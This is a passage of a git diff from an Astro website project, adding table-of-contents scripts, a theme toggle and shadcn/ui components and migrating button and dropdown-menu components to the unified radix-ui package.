window.removeEventListener('resize', handleWindowResize)
|
||||||
|
activePageHeadings = []
|
||||||
|
headingElements = []
|
||||||
|
headingJurisdictions = []
|
||||||
|
}
|
||||||
|
|
||||||
|
document.addEventListener('astro:page-load', mainMobileTocSetup)
|
||||||
|
document.addEventListener('astro:after-swap', () => {
|
||||||
|
cleanupMobileToc()
|
||||||
|
mainMobileTocSetup()
|
||||||
|
})
|
||||||
|
document.addEventListener('astro:before-swap', cleanupMobileToc)
|
||||||
|
</script>
|
||||||
190
src/components/TOCSidebar.astro
Normal file
@@ -0,0 +1,190 @@
|
|||||||
|
---
|
||||||
|
import { ScrollArea } from '@/components/ui/scroll-area'
|
||||||
|
import { cn, getHeadingMargin } from '@/lib/utils'
|
||||||
|
import type { MarkdownHeading } from 'astro'
|
||||||
|
|
||||||
|
type Props = {
|
||||||
|
headings: MarkdownHeading[]
|
||||||
|
}
|
||||||
|
|
||||||
|
const { headings } = Astro.props
|
||||||
|
---
|
||||||
|
|
||||||
|
<div
|
||||||
|
class="sticky top-20 col-start-1 row-span-1 mr-8 ml-auto hidden h-[calc(100vh-5rem)] max-w-fit xl:block"
|
||||||
|
>
|
||||||
|
<ScrollArea
|
||||||
|
client:load
|
||||||
|
className="flex max-h-[calc(100vh-8rem)] flex-col overflow-y-auto"
|
||||||
|
type="always"
|
||||||
|
>
|
||||||
|
<ul
|
||||||
|
class="mr-8 flex list-none flex-col gap-y-2 px-4"
|
||||||
|
id="table-of-contents"
|
||||||
|
>
|
||||||
|
<li class="text-lg font-medium">Table of Contents</li>
|
||||||
|
{
|
||||||
|
headings.map((heading) => (
|
||||||
|
<li
|
||||||
|
class={cn(
|
||||||
|
'text-foreground/60 text-sm',
|
||||||
|
getHeadingMargin(heading.depth),
|
||||||
|
)}
|
||||||
|
>
|
||||||
|
<a
|
||||||
|
href={`#${heading.slug}`}
|
||||||
|
class="marker:text-foreground/30 list-none underline decoration-transparent underline-offset-[3px] transition-colors duration-200 hover:decoration-inherit"
|
||||||
|
data-heading-link={heading.slug}
|
||||||
|
>
|
||||||
|
{heading.text}
|
||||||
|
</a>
|
||||||
|
</li>
|
||||||
|
))
|
||||||
|
}
|
||||||
|
</ul>
|
||||||
|
</ScrollArea>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
const STICKY_HEADER_OFFSET = 80
|
||||||
|
|
||||||
|
let tocLinks: NodeListOf<Element>
|
||||||
|
let activeHeadings: string[] = []
|
||||||
|
let headingElements: HTMLElement[] = []
|
||||||
|
let jurisdictions: { id: string; start: number; end: number }[] = []
|
||||||
|
|
||||||
|
function initializeDesktopTocVariables() {
|
||||||
|
tocLinks = document.querySelectorAll('[data-heading-link]')
|
||||||
|
activeHeadings = []
|
||||||
|
}
|
||||||
|
|
||||||
|
function buildDesktopHeadingJurisdictions() {
|
||||||
|
headingElements = Array.from(
|
||||||
|
document.querySelectorAll<HTMLElement>(
|
||||||
|
'.prose h2, .prose h3, .prose h4, .prose h5, .prose h6',
|
||||||
|
),
|
||||||
|
)
|
||||||
|
if (headingElements.length === 0) {
|
||||||
|
jurisdictions = []
|
||||||
|
return
|
||||||
|
}
|
||||||
|
jurisdictions = headingElements.map((heading, index) => {
|
||||||
|
const nextHeading = headingElements[index + 1]
|
||||||
|
return {
|
||||||
|
id: heading.id,
|
||||||
|
start: heading.offsetTop,
|
||||||
|
end: nextHeading ? nextHeading.offsetTop : document.body.scrollHeight,
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
function updateDesktopActiveTocLinks(headingIds: string[]) {
|
||||||
|
tocLinks.forEach((link) => {
|
||||||
|
link.classList.remove('text-foreground')
|
||||||
|
})
|
||||||
|
|
||||||
|
headingIds.forEach((id) => {
|
||||||
|
if (id) {
|
||||||
|
const activeLink = document.querySelector(`[data-heading-link="${id}"]`)
|
||||||
|
if (activeLink) {
|
||||||
|
activeLink.classList.add('text-foreground')
|
||||||
|
}
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
function getDesktopHeadingsWithVisibleContent(): string[] {
|
||||||
|
if (headingElements.length === 0) return []
|
||||||
|
|
||||||
|
const viewportTop = window.scrollY + STICKY_HEADER_OFFSET
|
||||||
|
const viewportBottom = window.scrollY + window.innerHeight
|
||||||
|
const visibleHeadingIds: string[] = []
|
||||||
|
|
||||||
|
headingElements.forEach((heading) => {
|
||||||
|
const headingTop = heading.offsetTop
|
||||||
|
const headingBottom = headingTop + heading.offsetHeight
|
||||||
|
|
||||||
|
if (
|
||||||
|
(headingTop >= viewportTop && headingTop <= viewportBottom) ||
|
||||||
|
(headingBottom >= viewportTop && headingBottom <= viewportBottom) ||
|
||||||
|
(headingTop <= viewportTop && headingBottom >= viewportBottom)
|
||||||
|
) {
|
||||||
|
visibleHeadingIds.push(heading.id)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
jurisdictions.forEach((jurisdiction) => {
|
||||||
|
if (
|
||||||
|
jurisdiction.start <= viewportBottom &&
|
||||||
|
jurisdiction.end >= viewportTop
|
||||||
|
) {
|
||||||
|
const headingEl = document.getElementById(jurisdiction.id)
|
||||||
|
if (headingEl) {
|
||||||
|
const headingBottom = headingEl.offsetTop + headingEl.offsetHeight
|
||||||
|
|
||||||
|
if (
|
||||||
|
jurisdiction.end > headingBottom &&
|
||||||
|
((headingBottom < viewportBottom &&
|
||||||
|
jurisdiction.end > viewportTop) ||
|
||||||
|
(viewportTop > headingBottom && viewportTop < jurisdiction.end))
|
||||||
|
) {
|
||||||
|
visibleHeadingIds.push(jurisdiction.id)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
return [...new Set(visibleHeadingIds)]
|
||||||
|
}
|
||||||
|
|
||||||
|
function handleDesktopTocScroll() {
|
||||||
|
const newActiveHeadings = getDesktopHeadingsWithVisibleContent()
|
||||||
|
|
||||||
|
if (JSON.stringify(newActiveHeadings) !== JSON.stringify(activeHeadings)) {
|
||||||
|
activeHeadings = newActiveHeadings
|
||||||
|
updateDesktopActiveTocLinks(activeHeadings)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function handleDesktopWindowResize() {
|
||||||
|
buildDesktopHeadingJurisdictions()
|
||||||
|
|
||||||
|
const newActiveHeadings = getDesktopHeadingsWithVisibleContent()
|
||||||
|
if (JSON.stringify(newActiveHeadings) !== JSON.stringify(activeHeadings)) {
|
||||||
|
activeHeadings = newActiveHeadings
|
||||||
|
updateDesktopActiveTocLinks(activeHeadings)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function mainDesktopTocSetup() {
|
||||||
|
initializeDesktopTocVariables()
|
||||||
|
buildDesktopHeadingJurisdictions()
|
||||||
|
|
||||||
|
if (headingElements.length === 0) {
|
||||||
|
updateDesktopActiveTocLinks([])
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
handleDesktopTocScroll()
|
||||||
|
|
||||||
|
window.addEventListener('scroll', handleDesktopTocScroll, { passive: true })
|
||||||
|
window.addEventListener('resize', handleDesktopWindowResize, {
|
||||||
|
passive: true,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
function cleanupDesktopToc() {
|
||||||
|
window.removeEventListener('scroll', handleDesktopTocScroll)
|
||||||
|
window.removeEventListener('resize', handleDesktopWindowResize)
|
||||||
|
activeHeadings = []
|
||||||
|
headingElements = []
|
||||||
|
jurisdictions = []
|
||||||
|
}
|
||||||
|
|
||||||
|
document.addEventListener('astro:page-load', mainDesktopTocSetup)
|
||||||
|
document.addEventListener('astro:after-swap', () => {
|
||||||
|
cleanupDesktopToc()
|
||||||
|
mainDesktopTocSetup()
|
||||||
|
})
|
||||||
|
document.addEventListener('astro:before-swap', cleanupDesktopToc)
|
||||||
|
</script>
|
||||||
92
src/components/ThemeToggle.astro
Normal file
@@ -0,0 +1,92 @@
|
|||||||
|
---
|
||||||
|
import { Button } from '@/components/ui/button'
|
||||||
|
import { Icon } from 'astro-icon/components'
|
||||||
|
---
|
||||||
|
|
||||||
|
<Button
|
||||||
|
id="theme-toggle"
|
||||||
|
variant="ghost"
|
||||||
|
size="icon"
|
||||||
|
title="Toggle theme"
|
||||||
|
className="-me-2 size-8"
|
||||||
|
>
|
||||||
|
<Icon
|
||||||
|
name="lucide:sun"
|
||||||
|
class="size-4 scale-100 rotate-0 transition-all dark:scale-0 dark:-rotate-90"
|
||||||
|
/>
|
||||||
|
<Icon
|
||||||
|
name="lucide:moon"
|
||||||
|
class="absolute size-4 scale-0 rotate-90 transition-all dark:scale-100 dark:rotate-0"
|
||||||
|
/>
|
||||||
|
<span class="sr-only">Toggle theme</span>
|
||||||
|
</Button>
|
||||||
|
|
||||||
|
<script is:inline data-astro-rerun>
|
||||||
|
const theme = (() => {
|
||||||
|
const localStorageTheme = localStorage?.getItem('theme') ?? ''
|
||||||
|
if (['dark', 'light'].includes(localStorageTheme)) {
|
||||||
|
return localStorageTheme
|
||||||
|
}
|
||||||
|
if (window.matchMedia('(prefers-color-scheme: dark)').matches) {
|
||||||
|
return 'dark'
|
||||||
|
}
|
||||||
|
return 'light'
|
||||||
|
})()
|
||||||
|
|
||||||
|
document.documentElement.setAttribute('data-theme', theme)
|
||||||
|
document.documentElement.classList.add(
|
||||||
|
theme === 'dark' ? 'scheme-dark' : 'scheme-light',
|
||||||
|
)
|
||||||
|
window.localStorage.setItem('theme', theme)
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
function handleToggleClick() {
|
||||||
|
const element = document.documentElement
|
||||||
|
const currentTheme = element.getAttribute('data-theme')
|
||||||
|
const newTheme = currentTheme === 'dark' ? 'light' : 'dark'
|
||||||
|
|
||||||
|
element.classList.add('[&_*]:transition-none')
|
||||||
|
element.setAttribute('data-theme', newTheme)
|
||||||
|
element.classList.remove('scheme-dark', 'scheme-light')
|
||||||
|
element.classList.add(newTheme === 'dark' ? 'scheme-dark' : 'scheme-light')
|
||||||
|
|
||||||
|
window.getComputedStyle(element).getPropertyValue('opacity')
|
||||||
|
|
||||||
|
requestAnimationFrame(() => {
|
||||||
|
element.classList.remove('[&_*]:transition-none')
|
||||||
|
})
|
||||||
|
|
||||||
|
localStorage.setItem('theme', newTheme)
|
||||||
|
}
|
||||||
|
|
||||||
|
function initThemeToggle() {
|
||||||
|
const themeToggle = document.getElementById('theme-toggle')
|
||||||
|
if (themeToggle) {
|
||||||
|
themeToggle.addEventListener('click', handleToggleClick)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
initThemeToggle()
|
||||||
|
|
||||||
|
document.addEventListener('astro:after-swap', () => {
|
||||||
|
const storedTheme = localStorage.getItem('theme') || 'light'
|
||||||
|
const element = document.documentElement
|
||||||
|
|
||||||
|
element.classList.add('[&_*]:transition-none')
|
||||||
|
|
||||||
|
window.getComputedStyle(element).getPropertyValue('opacity')
|
||||||
|
|
||||||
|
element.setAttribute('data-theme', storedTheme)
|
||||||
|
element.classList.remove('scheme-dark', 'scheme-light')
|
||||||
|
element.classList.add(
|
||||||
|
storedTheme === 'dark' ? 'scheme-dark' : 'scheme-light',
|
||||||
|
)
|
||||||
|
|
||||||
|
requestAnimationFrame(() => {
|
||||||
|
element.classList.remove('[&_*]:transition-none')
|
||||||
|
})
|
||||||
|
|
||||||
|
initThemeToggle()
|
||||||
|
})
|
||||||
|
</script>
|
||||||
74
src/components/ui/avatar.tsx
Normal file
@@ -0,0 +1,74 @@
|
|||||||
|
import * as React from 'react'
|
||||||
|
import { Avatar as AvatarPrimitive } from 'radix-ui'
|
||||||
|
|
||||||
|
import { cn } from '@/lib/utils'
|
||||||
|
|
||||||
|
function Avatar({
|
||||||
|
className,
|
||||||
|
...props
|
||||||
|
}: React.ComponentProps<typeof AvatarPrimitive.Root>) {
|
||||||
|
return (
|
||||||
|
<AvatarPrimitive.Root
|
||||||
|
data-slot="avatar"
|
||||||
|
className={cn(
|
||||||
|
'relative flex size-8 shrink-0 overflow-hidden rounded-full',
|
||||||
|
className,
|
||||||
|
)}
|
||||||
|
{...props}
|
||||||
|
/>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
function AvatarImage({
|
||||||
|
className,
|
||||||
|
...props
|
||||||
|
}: React.ComponentProps<typeof AvatarPrimitive.Image>) {
|
||||||
|
return (
|
||||||
|
<AvatarPrimitive.Image
|
||||||
|
data-slot="avatar-image"
|
||||||
|
className={cn('aspect-square size-full', className)}
|
||||||
|
{...props}
|
||||||
|
/>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
function AvatarFallback({
|
||||||
|
className,
|
||||||
|
...props
|
||||||
|
}: React.ComponentProps<typeof AvatarPrimitive.Fallback>) {
|
||||||
|
return (
|
||||||
|
<AvatarPrimitive.Fallback
|
||||||
|
data-slot="avatar-fallback"
|
||||||
|
className={cn(
|
||||||
|
'bg-muted flex size-full items-center justify-center rounded-full',
|
||||||
|
className,
|
||||||
|
)}
|
||||||
|
{...props}
|
||||||
|
/>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
const AvatarComponent: React.FC<AvatarComponentProps> = ({
|
||||||
|
src,
|
||||||
|
alt,
|
||||||
|
fallback,
|
||||||
|
className,
|
||||||
|
}) => {
|
||||||
|
return (
|
||||||
|
<Avatar className={className}>
|
||||||
|
<AvatarImage src={src} alt={alt} />
|
||||||
|
<AvatarFallback>{fallback}</AvatarFallback>
|
||||||
|
</Avatar>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
export default AvatarComponent
|
||||||
|
|
||||||
|
interface AvatarComponentProps {
|
||||||
|
src?: string
|
||||||
|
alt?: string
|
||||||
|
fallback: string
|
||||||
|
className?: string
|
||||||
|
}
|
||||||
|
|
||||||
|
export { Avatar, AvatarImage, AvatarFallback }
|
||||||
46
src/components/ui/badge.tsx
Normal file
@@ -0,0 +1,46 @@
|
|||||||
|
import * as React from 'react'
|
||||||
|
import { Slot as SlotPrimitive } from 'radix-ui'
|
||||||
|
import { cva, type VariantProps } from 'class-variance-authority'
|
||||||
|
|
||||||
|
import { cn } from '@/lib/utils'
|
||||||
|
|
||||||
|
const badgeVariants = cva(
|
||||||
|
'inline-flex items-center justify-center rounded-md border px-2 py-0.5 text-xs font-medium w-fit whitespace-nowrap shrink-0 [&>svg]:size-3 gap-1 [&>svg]:pointer-events-none focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:ring-[3px] aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive transition-[color,box-shadow] overflow-hidden',
|
||||||
|
{
|
||||||
|
variants: {
|
||||||
|
variant: {
|
||||||
|
default:
|
||||||
|
'border-transparent bg-primary text-primary-foreground [a&]:hover:bg-primary/90',
|
||||||
|
secondary:
|
||||||
|
'border-transparent bg-secondary text-secondary-foreground [a&]:hover:bg-secondary/90',
|
||||||
|
destructive:
|
||||||
|
'border-transparent bg-destructive text-white [a&]:hover:bg-destructive/90 focus-visible:ring-destructive/20 dark:focus-visible:ring-destructive/40 dark:bg-destructive/70',
|
||||||
|
outline:
|
||||||
|
'text-foreground [a&]:hover:bg-accent [a&]:hover:text-accent-foreground',
|
||||||
|
},
|
||||||
|
},
|
||||||
|
defaultVariants: {
|
||||||
|
variant: 'default',
|
||||||
|
},
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
|
function Badge({
|
||||||
|
className,
|
||||||
|
variant,
|
||||||
|
asChild = false,
|
||||||
|
...props
|
||||||
|
}: React.ComponentProps<'span'> &
|
||||||
|
VariantProps<typeof badgeVariants> & { asChild?: boolean }) {
|
||||||
|
const Comp = asChild ? SlotPrimitive.Root : 'span'
|
||||||
|
|
||||||
|
return (
|
||||||
|
<Comp
|
||||||
|
data-slot="badge"
|
||||||
|
className={cn(badgeVariants({ variant }), className)}
|
||||||
|
{...props}
|
||||||
|
/>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
export { Badge, badgeVariants }
|
||||||
108
src/components/ui/breadcrumb.tsx
Normal file
@@ -0,0 +1,108 @@
|
|||||||
|
import * as React from 'react'
|
||||||
|
import { Slot as SlotPrimitive } from 'radix-ui'
|
||||||
|
import { cn } from '@/lib/utils'
|
||||||
|
import { ChevronRight, MoreHorizontal } from 'lucide-react'
|
||||||
|
|
||||||
|
function Breadcrumb({ ...props }: React.ComponentProps<'nav'>) {
|
||||||
|
return <nav aria-label="breadcrumb" data-slot="breadcrumb" {...props} />
|
||||||
|
}
|
||||||
|
|
||||||
|
function BreadcrumbList({ className, ...props }: React.ComponentProps<'ol'>) {
|
||||||
|
return (
|
||||||
|
<ol
|
||||||
|
data-slot="breadcrumb-list"
|
||||||
|
className={cn(
|
||||||
|
'text-muted-foreground flex flex-wrap items-center gap-1.5 text-sm break-words sm:gap-2.5',
|
||||||
|
className,
|
||||||
|
)}
|
||||||
|
{...props}
|
||||||
|
/>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
function BreadcrumbItem({ className, ...props }: React.ComponentProps<'li'>) {
|
||||||
|
return (
|
||||||
|
<li
|
||||||
|
data-slot="breadcrumb-item"
|
||||||
|
className={cn('inline-flex items-center gap-1.5', className)}
|
||||||
|
{...props}
|
||||||
|
/>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
function BreadcrumbLink({
|
||||||
|
asChild,
|
||||||
|
className,
|
||||||
|
...props
|
||||||
|
}: React.ComponentProps<'a'> & {
|
||||||
|
asChild?: boolean
|
||||||
|
}) {
|
||||||
|
const Comp = asChild ? SlotPrimitive.Root : 'a'
|
||||||
|
|
||||||
|
return (
|
||||||
|
<Comp
|
||||||
|
data-slot="breadcrumb-link"
|
||||||
|
className={cn('hover:text-foreground transition-colors', className)}
|
||||||
|
{...props}
|
||||||
|
/>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
function BreadcrumbPage({ className, ...props }: React.ComponentProps<'span'>) {
|
||||||
|
return (
|
||||||
|
<span
|
||||||
|
data-slot="breadcrumb-page"
|
||||||
|
role="link"
|
||||||
|
aria-disabled="true"
|
||||||
|
aria-current="page"
|
||||||
|
className={cn('text-foreground font-normal', className)}
|
||||||
|
{...props}
|
||||||
|
/>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
function BreadcrumbSeparator({
|
||||||
|
children,
|
||||||
|
className,
|
||||||
|
...props
|
||||||
|
}: React.ComponentProps<'li'>) {
|
||||||
|
return (
|
||||||
|
<li
|
||||||
|
data-slot="breadcrumb-separator"
|
||||||
|
role="presentation"
|
||||||
|
aria-hidden="true"
|
||||||
|
className={cn('[&>svg]:size-3.5', className)}
|
||||||
|
{...props}
|
||||||
|
>
|
||||||
|
{children ?? <ChevronRight />}
|
||||||
|
</li>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
function BreadcrumbEllipsis({
|
||||||
|
className,
|
||||||
|
...props
|
||||||
|
}: React.ComponentProps<'span'>) {
|
||||||
|
return (
|
||||||
|
<span
|
||||||
|
data-slot="breadcrumb-ellipsis"
|
||||||
|
role="presentation"
|
||||||
|
aria-hidden="true"
|
||||||
|
className={cn('flex size-9 items-center justify-center', className)}
|
||||||
|
{...props}
|
||||||
|
>
|
||||||
|
<MoreHorizontal className="size-4" />
|
||||||
|
<span className="sr-only">More</span>
|
||||||
|
</span>
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
export {
|
||||||
|
Breadcrumb,
|
||||||
|
BreadcrumbList,
|
||||||
|
BreadcrumbItem,
|
||||||
|
BreadcrumbLink,
|
||||||
|
BreadcrumbPage,
|
||||||
|
BreadcrumbSeparator,
|
||||||
|
BreadcrumbEllipsis,
|
||||||
|
}
|
||||||
@@ -1,56 +1,58 @@
|
|||||||
import * as React from "react"
|
import * as React from 'react'
|
||||||
import { Slot } from "@radix-ui/react-slot"
|
import { Slot as SlotPrimitive } from 'radix-ui'
|
||||||
import { cva, type VariantProps } from "class-variance-authority"
|
import { cva, type VariantProps } from 'class-variance-authority'
|
||||||
|
|
||||||
import { cn } from "@/lib/utils"
|
import { cn } from '@/lib/utils'
|
||||||
|
|
||||||
const buttonVariants = cva(
|
const buttonVariants = cva(
|
||||||
"inline-flex items-center justify-center whitespace-nowrap rounded-md text-sm font-medium ring-offset-background transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50",
|
"inline-flex items-center justify-center gap-2 whitespace-nowrap rounded-md text-sm font-medium transition-all disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none [&_svg:not([class*='size-'])]:size-4 shrink-0 [&_svg]:shrink-0 outline-none focus-visible:border-ring focus-visible:ring-ring/50 focus-visible:ring-[3px] aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive",
|
||||||
{
|
{
|
||||||
variants: {
|
variants: {
|
||||||
variant: {
|
variant: {
|
||||||
default: "bg-primary text-primary-foreground hover:bg-primary/90",
|
default: 'bg-primary text-primary-foreground hover:bg-primary/90',
|
||||||
destructive:
|
destructive:
|
||||||
"bg-destructive text-destructive-foreground hover:bg-destructive/90",
|
'bg-destructive text-white hover:bg-destructive/90 focus-visible:ring-destructive/20 dark:focus-visible:ring-destructive/40 dark:bg-destructive/60',
|
||||||
outline:
|
outline:
|
||||||
"border border-input bg-background hover:bg-accent hover:text-accent-foreground",
|
'border bg-background hover:bg-accent hover:text-accent-foreground dark:bg-input/30 dark:border-input dark:hover:bg-input/50',
|
||||||
secondary:
|
secondary:
|
||||||
"bg-secondary text-secondary-foreground hover:bg-secondary/80",
|
'bg-secondary text-secondary-foreground hover:bg-secondary/80',
|
||||||
ghost: "hover:bg-accent hover:text-accent-foreground",
|
ghost:
|
||||||
link: "text-primary underline-offset-4 hover:underline",
|
'hover:bg-accent hover:text-accent-foreground dark:hover:bg-accent/50',
|
||||||
|
link: 'text-primary underline-offset-4 hover:underline',
|
||||||
},
|
},
|
||||||
size: {
|
size: {
|
||||||
default: "h-10 px-4 py-2",
|
default: 'h-9 px-4 py-2 has-[>svg]:px-3',
|
||||||
sm: "h-9 rounded-md px-3",
|
sm: 'h-8 rounded-md gap-1.5 px-3 has-[>svg]:px-2.5',
|
||||||
lg: "h-11 rounded-md px-8",
|
lg: 'h-10 rounded-md px-6 has-[>svg]:px-4',
|
||||||
icon: "h-10 w-10",
|
icon: 'size-9',
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
defaultVariants: {
|
defaultVariants: {
|
||||||
variant: "default",
|
variant: 'default',
|
||||||
size: "default",
|
size: 'default',
|
||||||
},
|
},
|
||||||
}
|
},
|
||||||
)
|
)
|
||||||
|
|
||||||
export interface ButtonProps
|
function Button({
|
||||||
extends React.ButtonHTMLAttributes<HTMLButtonElement>,
|
className,
|
||||||
VariantProps<typeof buttonVariants> {
|
variant,
|
||||||
asChild?: boolean
|
size,
|
||||||
|
asChild = false,
|
||||||
|
...props
|
||||||
|
}: React.ComponentProps<'button'> &
|
||||||
|
VariantProps<typeof buttonVariants> & {
|
||||||
|
asChild?: boolean
|
||||||
|
}) {
|
||||||
|
const Comp = asChild ? SlotPrimitive.Root : 'button'
|
||||||
|
|
||||||
|
return (
|
||||||
|
<Comp
|
||||||
|
data-slot="button"
|
||||||
|
className={cn(buttonVariants({ variant, size, className }))}
|
||||||
|
{...props}
|
||||||
|
/>
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
const Button = React.forwardRef<HTMLButtonElement, ButtonProps>(
|
|
||||||
({ className, variant, size, asChild = false, ...props }, ref) => {
|
|
||||||
const Comp = asChild ? Slot : "button"
|
|
||||||
return (
|
|
||||||
<Comp
|
|
||||||
className={cn(buttonVariants({ variant, size, className }))}
|
|
||||||
ref={ref}
|
|
||||||
{...props}
|
|
||||||
/>
|
|
||||||
)
|
|
||||||
}
|
|
||||||
)
|
|
||||||
Button.displayName = "Button"
|
|
||||||
|
|
||||||
export { Button, buttonVariants }
|
export { Button, buttonVariants }
|
||||||
|
|||||||
@@ -1,198 +1,255 @@
|
|||||||
import * as React from "react"
|
import * as React from 'react'
|
||||||
import * as DropdownMenuPrimitive from "@radix-ui/react-dropdown-menu"
|
import { DropdownMenu as DropdownMenuPrimitive } from 'radix-ui'
|
||||||
import { Check, ChevronRight, Circle } from "lucide-react"
|
import { CheckIcon, ChevronRightIcon, CircleIcon } from 'lucide-react'
|
||||||
|
|
||||||
import { cn } from "@/lib/utils"
|
import { cn } from '@/lib/utils'
|
||||||
|
|
||||||
const DropdownMenu = DropdownMenuPrimitive.Root
|
function DropdownMenu({
|
||||||
|
|
||||||
const DropdownMenuTrigger = DropdownMenuPrimitive.Trigger
|
|
||||||
|
|
||||||
const DropdownMenuGroup = DropdownMenuPrimitive.Group
|
|
||||||
|
|
||||||
const DropdownMenuPortal = DropdownMenuPrimitive.Portal
|
|
||||||
|
|
||||||
const DropdownMenuSub = DropdownMenuPrimitive.Sub
|
|
||||||
|
|
||||||
const DropdownMenuRadioGroup = DropdownMenuPrimitive.RadioGroup
|
|
||||||
|
|
||||||
const DropdownMenuSubTrigger = React.forwardRef<
|
|
||||||
React.ElementRef<typeof DropdownMenuPrimitive.SubTrigger>,
|
|
||||||
React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.SubTrigger> & {
|
|
||||||
inset?: boolean
|
|
||||||
}
|
|
||||||
>(({ className, inset, children, ...props }, ref) => (
|
|
||||||
<DropdownMenuPrimitive.SubTrigger
|
|
||||||
ref={ref}
|
|
||||||
className={cn(
|
|
||||||
"flex cursor-default select-none items-center rounded-sm px-2 py-1.5 text-sm outline-none focus:bg-accent data-[state=open]:bg-accent",
|
|
||||||
inset && "pl-8",
|
|
||||||
className
|
|
||||||
)}
|
|
||||||
{...props}
|
|
||||||
>
|
|
||||||
{children}
|
|
||||||
<ChevronRight className="ml-auto h-4 w-4" />
|
|
||||||
</DropdownMenuPrimitive.SubTrigger>
|
|
||||||
))
|
|
||||||
DropdownMenuSubTrigger.displayName =
|
|
||||||
DropdownMenuPrimitive.SubTrigger.displayName
|
|
||||||
|
|
||||||
const DropdownMenuSubContent = React.forwardRef<
|
|
||||||
React.ElementRef<typeof DropdownMenuPrimitive.SubContent>,
|
|
||||||
React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.SubContent>
|
|
||||||
>(({ className, ...props }, ref) => (
|
|
||||||
<DropdownMenuPrimitive.SubContent
|
|
||||||
ref={ref}
|
|
||||||
className={cn(
|
|
||||||
"z-50 min-w-[8rem] overflow-hidden rounded-md border bg-popover p-1 text-popover-foreground shadow-lg data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",
|
|
||||||
className
|
|
||||||
)}
|
|
||||||
{...props}
|
|
||||||
/>
|
|
||||||
))
|
|
||||||
DropdownMenuSubContent.displayName =
|
|
||||||
DropdownMenuPrimitive.SubContent.displayName
|
|
||||||
|
|
||||||
const DropdownMenuContent = React.forwardRef<
|
|
||||||
React.ElementRef<typeof DropdownMenuPrimitive.Content>,
|
|
||||||
React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Content>
|
|
||||||
>(({ className, sideOffset = 4, ...props }, ref) => (
|
|
||||||
<DropdownMenuPrimitive.Portal>
|
|
||||||
<DropdownMenuPrimitive.Content
|
|
||||||
ref={ref}
|
|
||||||
sideOffset={sideOffset}
|
|
||||||
className={cn(
|
|
||||||
"z-50 min-w-[8rem] overflow-hidden rounded-md border bg-popover p-1 text-popover-foreground shadow-md data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",
|
|
||||||
className
|
|
||||||
)}
|
|
||||||
{...props}
|
|
||||||
/>
|
|
||||||
</DropdownMenuPrimitive.Portal>
|
|
||||||
))
|
|
||||||
DropdownMenuContent.displayName = DropdownMenuPrimitive.Content.displayName
|
|
||||||
|
|
||||||
const DropdownMenuItem = React.forwardRef<
|
|
||||||
React.ElementRef<typeof DropdownMenuPrimitive.Item>,
|
|
||||||
React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Item> & {
|
|
||||||
inset?: boolean
|
|
||||||
}
|
|
||||||
>(({ className, inset, ...props }, ref) => (
|
|
||||||
<DropdownMenuPrimitive.Item
|
|
||||||
ref={ref}
|
|
||||||
className={cn(
|
|
||||||
"relative flex cursor-default select-none items-center rounded-sm px-2 py-1.5 text-sm outline-none transition-colors focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",
|
|
||||||
inset && "pl-8",
|
|
||||||
className
|
|
||||||
)}
|
|
||||||
{...props}
|
|
||||||
/>
|
|
||||||
))
|
|
||||||
DropdownMenuItem.displayName = DropdownMenuPrimitive.Item.displayName
|
|
||||||
|
|
||||||
const DropdownMenuCheckboxItem = React.forwardRef<
|
|
||||||
React.ElementRef<typeof DropdownMenuPrimitive.CheckboxItem>,
|
|
||||||
React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.CheckboxItem>
|
|
||||||
>(({ className, children, checked, ...props }, ref) => (
